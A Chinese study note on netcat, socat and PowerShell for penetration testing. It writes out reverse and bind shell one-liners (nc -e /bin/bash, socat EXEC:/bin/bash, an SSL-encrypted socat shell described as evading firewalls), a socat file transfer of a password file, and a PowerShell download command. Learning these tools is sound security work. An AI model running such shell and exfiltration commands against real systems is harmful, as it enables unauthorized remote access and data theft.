Netcat
很牛逼的工具,可以创建TCP或UDP的连接,同时可以是服务端也可以是客户端。
-n
跳过dns解析-v
显示详情-l
监听-p
指定端口
可以使用重定向符号进行传文件的传递
-e
可以指定执行程序,并重定向输入输出到这个程序上,如:nc -lnvp 4444 -e cmd.exe
,然后使用nc连这个端口就能拿到shell
当然上面那个是监听端启动shell,也可以建立最常用的反向连接:nc -nv X.X.X.X 4444 -e /bin/bash
socat
用法:socat - TCP4:X.X.X.X:110
,建立110端口的TCP连接,中间的-
使链接成为交互式。
sudo socat TCP4-LISTEN:443 STDOUT
: 起了一个TCP监听,443端口需要使用sudo权限,STDOUT采用标准输入输出。
监听后使用第一个的方法可以建立会话发送数据。
如果想要发送文件,可以通过如下方法:
sudo socat TCP4-LISTEN:443,fork file:secret_password.txt
:指定了发送的文件,开启了监听,当有会话接入时将fork一个子进程出来进行文件的传输。
socat TCP4:X.X.X.X:443 file:received_file.txt,create
:指定名称保存。
反向shell:
监听:socat -d -d TCP4-LISTEN:4444 STDOUT
,连用两个-d
增加调试级别,显示更详细的输出。
弹shell:socat TCP4:X.X.X.X:4444 EXEC:/bin/bash
socat还可以进行加密,可以隐藏敏感数据或规避防火墙。
通过openssl生成rsa证书,将其转换成pem格式。
sudo socat OPENSSL-LISTEN:443,cert=XXX.pem,verify=0,fork EXEC=/bin/bash
:使用选定的证书进行加密,取消ssl验证
socat - OPENSSL:X.X.X.X:443,verify=0
:禁用ssl证书验证,建立连接
Powershell & Powercat
使用powershell下载文件:powershell -c "(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/1.txt','path_to_save\1.txt')"
powershell下的反弹shell很复杂,懒得记了。从网上查吧。
可以通过powershel反弹,NC监听。正向shell也一样==、
powershell的功能十分丰富。
powercat是powershell版本的natcat,在windows环境下做了适配,有更复杂的网络功能,且支持加密。
流量处理
wireshark 和 tcpdump
wireshark是图形化界面的,研究下过滤的方法
tcpdump也一样==、
只讲了些基础,具体实操根据需求自己组装。